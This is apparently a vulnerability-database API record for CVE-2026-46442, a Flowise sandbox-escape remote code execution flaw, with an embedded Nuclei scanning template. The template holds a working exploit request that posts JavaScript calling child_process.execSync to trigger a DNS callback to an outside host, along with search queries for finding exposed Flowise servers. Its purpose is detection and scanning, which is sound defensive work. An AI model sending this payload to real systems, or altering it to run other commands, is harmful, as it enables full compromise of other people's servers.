{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-46442/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-46442/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-46442/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-46442/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-46442/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-46442"},"sightings":{"href":"/api/v1/sightings/cve-2026-46442"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.03414,"kev":false,"percentile":0.88411},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-46442.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-46442\n\ninfo:\n  name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE\n  author: DhiyaneshDk,princechaddha\n  severity: critical\n  description: |\n    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.\n  impact: |\n    Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.\n  remediation: |\n    Update to version 3.1.2 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-46442\n    - https://github.com/FlowiseAI/Flowise\n    - https://github.com/FlowiseAI/Flowise/security/advisories\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-46442\n    cwe-id: CWE-78\n    epss-score: 0.03414\n    epss-percentile: 0.88411\n    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: flowiseai\n    product: flowise\n    shodan-query: http.title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2026,flowise,cmdi,rce,oob,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Flowise\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/node-custom-function HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"functionBody\":\"require('child_process').execSync('nslookup {{interactsh-url}}');return '';\",\"nodeData\":{\"inputs\":{}}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4a0a00473045022100e28490c9ca5a7e57ce8e77336a8ca7b9f3fc492e70635e666c8e3983fd5328860220303dc013031b397df4906f232bcdf99148f2dddb518441cbf22ba4cf9d7b8fa9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-46442"}